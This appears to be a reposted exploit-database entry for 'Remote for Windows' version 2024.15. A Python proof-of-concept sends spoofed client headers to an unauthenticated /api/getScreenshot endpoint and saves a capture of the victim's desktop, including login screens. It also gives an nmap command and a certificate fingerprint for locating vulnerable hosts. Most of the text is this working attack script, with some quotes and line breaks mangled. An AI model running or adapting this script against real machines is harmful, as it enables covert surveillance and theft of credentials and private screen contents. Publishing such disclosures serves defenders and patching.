Windows 2024.15 – Unauthenticated Desktop Screenshot Capture

Exploit Title: Windows 2024.15 – Unauthenticated Desktop Screenshot Capture Date: 2025-05-19 Exploit Author: Chokri…

# Exploit Title: Windows 2024.15 – Unauthenticated Desktop Screenshot Capture

# Date: 2025-05-19

# Exploit Author: Chokri Hammedi

# Vendor Homepage: https://rs.ltd

# Software Link: https://rs.ltd/latest.php?os=win

# Version: 2024.15

# Tested on: Windows 10/11 with Remote for Windows (helper)

”’

Description:

– Exploits the getScreenshot API endpoint in Remote for Windows helper

service

– Works when “Allow unknown devices” setting is enabled (default: disabled)

– Captures current desktop including login screens (SYSTEM-level access)

Vulnerable Component:

– /api/getScreenshot endpoint with missing authentication checks

# Identification:

nmap -p- -T4 –script ssl-cert

Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US

”’

#!/usr/bin/env python3

import requests

import sys

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def capture_screenshot(ip, port, output_file):

try:

response = requests.get(

f”https://{ip}:{port}/api/getScreenshot”,

headers={

“X-ClientToken”: “exploit”,

“X-HostName”: “attacker-pc”,

“X-HostFullModel”: “exploit-device”

},

verify=False,

timeout=15

)

if response.status_code == 200 and

response.content.startswith(b’\xff\xd8′):

with open(output_file, ‘wb’) as f:

f.write(response.content)

print(f”[+] Saved: {output_file}”)

return True

print(f”[-] Failed: HTTP {response.status_code}”)

return False

except Exception as e:

print(f”[-] Error: {str(e)}”)

return False

if __name__ == “__main__”:

if len(sys.argv) < 4:
print(f”Usage: {sys.argv[0]} “)

sys.exit(1)

sys.exit(0 if capture_screenshot(sys.argv[1], sys.argv[2], sys.argv[3])

else 1)